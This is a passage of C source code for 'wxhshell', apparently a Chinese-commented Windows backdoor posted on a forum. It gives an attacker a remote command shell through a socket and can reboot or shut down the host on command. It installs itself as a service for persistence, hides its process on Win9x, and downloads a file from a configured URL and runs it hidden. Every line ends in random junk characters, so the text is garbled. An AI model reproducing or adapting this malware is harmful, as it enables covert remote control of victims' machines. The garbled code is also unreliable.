  // 帮助 OfZN|S+~W  
  case '?': { -6C +LbV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r,NgG!zq<  
    break; L0"~[zB]N  
  } (CE7j<j  
  // 安装 MKg,!TELe  
  case 'i': { `^6 ,kI-c  
    if(Install()) ~ap2m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6q/ ?-Qcy  
    else :dwt1>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e.vtEQV9  
    break; J2M(1g)t9  
    } r:g9Z_  
  // 卸载 Ed-M7#wY  
  case 'r': { tSHFm-q`  
    if(Uninstall()) 0xMj=3']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3)N\'xFh@  
    else i$uN4tVKT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \#Up|u:  
    break; DL8x":;  
    } @S3f:s0~D  
  // 显示 wxhshell 所在路径 Yj3I5RG  
  case 'p': { tef^ShF]  
    char svExeFile[MAX_PATH]; QG3&p<  
    strcpy(svExeFile,"\n\r"); !mnUdR|>(  
      strcat(svExeFile,ExeFile); Im?LIgt$  
        send(wsh,svExeFile,strlen(svExeFile),0); 'EhBRU%  
    break; L%h/OD  
    } >I'% !E;  
  // 重启 i.y)mcB4  
  case 'b': { l=={pb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3z8C  
    if(Boot(REBOOT)) `I;F$`\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K5 KyG  
    else { bGmx7qt#  
    closesocket(wsh); zm#nV Y`  
    ExitThread(0);  .\:J~(  
    } S#l5y%&  
    break; A9:NKY{z  
    } Ng=ONh  
  // 关机 l67Jl"v  
  case 'd': { cgT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); = |U@  
    if(Boot(SHUTDOWN)) r4XH =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Lp7{09u  
    else { WF2-$`x  
    closesocket(wsh); ULqoCd%bK  
    ExitThread(0); z\!K<d"Xv  
    } g@ith&*=h  
    break; 8Ogv9  
    } }}{Yw  
  // 获取shell b[ w;i]2  
  case 's': { p( LZ)7/  
    CmdShell(wsh); p Pro }@@  
    closesocket(wsh); 5Fw - d  
    ExitThread(0); obH; g*  
    break; _^ |2}t  
  } ,<Kx{+ [h  
  // 退出 dA~ 3>f*b_  
  case 'x': { )%Iv[TB[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r6.d s^  
    CloseIt(wsh); vGd1w%J-  
    break; Ctu?o+^;z  
    } {8RFK4! V@  
  // 离开 V-yUJ#f8[  
  case 'q': { Kq6jw/T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M[]A2'fS  
    closesocket(wsh); E,[xUz"  
    WSACleanup(); 8{ c!).  
    exit(1); iw?I  
    break; =r. >N\  
        } I/J7rkf  
  } r7m D{0s*  
  } cntco@  
0#p/A^\#7M  
  // 提示信息 .?W5{U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rRFAD{5)  
} aoW6U{\  
  } SX0_v_%M  
LV{Q,DrP  
  return; 9)dfL?x8V{  
} pbXi9|bI  
[1G^/K"  
// shell模块句柄 15\Ph[6g  
int CmdShell(SOCKET sock) <'U]`L p  
{ &"Ux6mF-"  
STARTUPINFO si; kLSrj\6I[  
ZeroMemory(&si,sizeof(si)); n$L51#'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?uLeFD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (=x"Y{%  
PROCESS_INFORMATION ProcessInfo; Zo-$z8  
char cmdline[]="cmd"; a}yXC<}$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); = "ts`>  
  return 0; +C]&2zc.  
} B^ 7eoW  
I3b"|%  
// 自身启动模式 7E$&2U^Js  
int StartFromService(void) L:nXWz  
{ : esg(  
typedef struct :a[Ihqfg  
{ qQ[b VD\*  
  DWORD ExitStatus; xb2?lL]  
  DWORD PebBaseAddress; 6=_~ 0PcY  
  DWORD AffinityMask; Dr<='Ux[5  
  DWORD BasePriority; uYI@ 9U  
  ULONG UniqueProcessId; I,@r5tK o  
  ULONG InheritedFromUniqueProcessId; ZfAzc6J?\  
}   PROCESS_BASIC_INFORMATION; )Q;978:  
g\fhp{gWB  
PROCNTQSIP NtQueryInformationProcess; n 1b(\PA  
w0m^ &,;#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :fcM:w&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E\7m< 'R  
={2!c0s  
  HANDLE             hProcess; -;(Q1)&  
  PROCESS_BASIC_INFORMATION pbi; +!t}  
5v.DX`"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RrrK*Fk8=  
  if(NULL == hInst ) return 0; [4Ll0GSp  
<Q < AwP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +]xFoH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +ZsX*/TOn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -XK0KYhgW  
AIl4]F5I  
  if (!NtQueryInformationProcess) return 0; rM}0%J'  
o?Nu:&yE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pcS+o  
  if(!hProcess) return 0; _m E^rT  
\kIMDg3}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z$lF)r:Bc  
:t$aN|>y  
  CloseHandle(hProcess); VaZn{z  
*V^ #ga#A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GOy%^:Xd  
if(hProcess==NULL) return 0; 9<E g}Ic  
. 9G<y 4  
HMODULE hMod; )emOKS  
char procName[255]; eJ8]g49mD6  
unsigned long cbNeeded; <lxD}DH=  
oP?YA-#nc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P'Q$d+F,  
mABe'"8  
  CloseHandle(hProcess); ^H'a4G3  
4NR@u\S  
if(strstr(procName,"services")) return 1; // 以服务启动 )ukpJ z""  
qOV[TP,  
  return 0; // 注册表启动 KU9Z"9#  
} 9W`Frx'h1  
"VxWj}+]  
// 主模块 9.O8/0w7LV  
int StartWxhshell(LPSTR lpCmdLine) al9.}  
{ >-< 8N-@"n  
  SOCKET wsl; O;Y:uHf  
BOOL val=TRUE; zzGYiF ?  
  int port=0; S]3Ev#>  
  struct sockaddr_in door; &<'n^n  
I3S9Us-\  
  if(wscfg.ws_autoins) Install(); ]<uQ.~  
{NM+Oj,~'  
port=atoi(lpCmdLine); .S\&L-{  
#%3rTU  
if(port<=0) port=wscfg.ws_port; zW |=2oX2  
vC;]jJb:  
  WSADATA data; Ei>m0 ~<\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,hxkk`  
n";02?@F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &sVvWNO#2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !|?e7u7  
  door.sin_family = AF_INET; SU_SU".  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q-TV*FD.  
  door.sin_port = htons(port); <oMUQ*OtV  
cF T 9Lnz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @MR?6n*k  
closesocket(wsl); vm23U^VJ  
return 1; rd|uz4d  
} ni&*E~a  
g\oSG)  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Sl]!PZR1  
closesocket(wsl); _+f+`]iM  
return 1; C"T1MTB  
} N^?9ZO   
  Wxhshell(wsl); LS>G4 ]  
  WSACleanup(); cX!Pz.C  
s0UFym 8  
return 0; }]P4-KqI  
o;F" {RZ  
} :HViX:]H  
[Bb utGvj  
// 以NT服务方式启动 f6<g3Q7Mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zRl~^~sY  
{ /Wk9-uH  
DWORD   status = 0; fg%&N2/(.B  
  DWORD   specificError = 0xfffffff; /Poet%XvRx  
{C*\O)Gep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `RQ#.   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Tn-C>=tR~%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tYW>t9  
  serviceStatus.dwWin32ExitCode     = 0; F-Z%6O,2  
  serviceStatus.dwServiceSpecificExitCode = 0; 8Q`WB0E<|  
  serviceStatus.dwCheckPoint       = 0; cRvvzX  
  serviceStatus.dwWaitHint       = 0; :q3+AtF  
3-s}6<0v1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1nj(h g  
  if (hServiceStatusHandle==0) return; {kI#A?M  
OqhD7 +  
status = GetLastError(); pz^<\  
  if (status!=NO_ERROR) Weoj|0|t  
{ wy1X\PJjH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H( -Y  
    serviceStatus.dwCheckPoint       = 0; 6" T['6:j  
    serviceStatus.dwWaitHint       = 0; 6bc3 37b  
    serviceStatus.dwWin32ExitCode     = status; 5,"l0nrk  
    serviceStatus.dwServiceSpecificExitCode = specificError; e`tLR- &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mbl]>JsQD  
    return; z~6y+  
  } Eq% @"-m o  
td2/9|Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6+rlXmd  
  serviceStatus.dwCheckPoint       = 0; FwKj+f"  
  serviceStatus.dwWaitHint       = 0; !4@G3Ae22  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BI[JATZG  
} pC,o2~%{  
0x2!<z  
// 处理NT服务事件,比如:启动、停止 gB,G.QM*6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K?x,T8<aW  
{ Myat{OF  
switch(fdwControl) fpyz'   
{ ]-o"}"3Ef  
case SERVICE_CONTROL_STOP: 4o:hyh   
  serviceStatus.dwWin32ExitCode = 0; <<A`aU^fX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IHfzZHy  
  serviceStatus.dwCheckPoint   = 0; w JwX[\  
  serviceStatus.dwWaitHint     = 0; _:n b&B  
  { Gnm4gF!BI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%u|[$  
  } 6~:Sgt nU  
  return; aMARZ)V  
case SERVICE_CONTROL_PAUSE: OIHz I2{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 57{oh")  
  break; W_O)~u8  
case SERVICE_CONTROL_CONTINUE: 5y2? f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uNbH\qd=  
  break; h5z)Lc^  
case SERVICE_CONTROL_INTERROGATE: C) QKPT  
  break; !;@_VWR  
}; .UCt|> $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+'CbWgY  
} ~H)4)r^  
(fD ;g9  
// 标准应用程序主函数 R)?{]]v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SDG-~(Y  
{ O/%< }3Sq  
39U5jj7i  
// 获取操作系统版本 q"KnLA(  
OsIsNt=GetOsVer(); / il@`w;G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !U_ K&f  
;T]d M fO  
  // 从命令行安装 m4k Bj*6c{  
  if(strpbrk(lpCmdLine,"iI")) Install(); kID[#g'  
HC {XX>F^  
  // 下载执行文件 bo"%0 ?3n  
if(wscfg.ws_downexe) { rn@`yTw^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {C`GW}s{4  
  WinExec(wscfg.ws_filenam,SW_HIDE); vP%tk s+.  
} zHWSE7!  
"\"DCDKmG  
if(!OsIsNt) { &ej8mq"\  
// 如果时win9x,隐藏进程并且设置为注册表启动 (9\;A*CZ  
HideProc(); W^,S6!  
StartWxhshell(lpCmdLine); %1 KbS [  
} {>3\ N0e5  
else 5F+APz7  
  if(StartFromService()) JE 5  
  // 以服务方式启动 Mvj;ic6iK  
  StartServiceCtrlDispatcher(DispatchTable); 7T``-:`[  
else 5cr(S~Q;  
  // 普通方式启动 l@j.hTO<  
  StartWxhshell(lpCmdLine); XKL3RMF9r  
R9We/FhOY  
return 0; U=Y)V%  
}
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只看该作者 1 发表于: 2006-10-10
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